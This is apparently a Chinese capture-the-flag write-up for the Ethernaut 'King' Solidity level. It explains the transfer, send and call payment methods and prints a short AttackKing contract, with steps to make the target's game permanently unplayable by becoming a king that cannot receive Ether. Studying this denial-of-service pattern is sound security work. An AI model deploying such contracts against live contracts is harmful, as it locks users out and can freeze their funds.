King
King.sol
- 让游戏无法进行
transfer()/send()
函数,都可以实现资金转移,并且只会传递2300用于转账的gas,避免接收方用剩余gas做额外的操作
transfer()
转账失败的话,整笔交易回滚
send()
转账会返回 bool
类型标识,转账失败的话,返回false
,但是不会回滚交易
call()
转账可以指定gas,返回bool和data
,并且转账失败的话不会回滚整笔交易
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
King
合约类似庞氏骗局,在场中的会获取新进场的资金
payable(king).transfer(msg.value);
,资金从合约转到 旧King
- Sender成为
新King
,等待别人以更高资金接盘
- 转账方式采用
transfer()
,转账失败会导致交易回滚
- EOA地址可以接收/转账任意资产
- 合约地址接收Ether需要有以下任一函数
receive() external payable { }
payable
修饰的fallback()
: fallback() external payable { }
- 准备一个攻击合约,合约可以在部署阶段接收Ether,但是部署过后不能正常接受Ether
- 攻击合约向目标合约转账,成为目标合约的
新King
- 由于攻击合约不存在接收资产的默认函数,因此任何转账操作都会失败
- 目标合约中任何更高转账的操作都会回滚失败,因为 攻击合约作为
旧King
无法接收新King
的资金
contract AttackKing {
constructor() payable {}
function attack(King _king, uint256 value) public payable {
payable(address(_king)).call{value: value}("");
}
}
- 部署
AttackKing
合约,在部署阶段存入Ether
- 调用
AttackKing
合约的attack()
函数,底层call King
合约
- 此时,
King
合约下的king
地址更新为AttackKing
合约
- 此后,任意地址的转账行为都会失败,因为 作为
旧king
的 AttackKing
合约不支持转账操作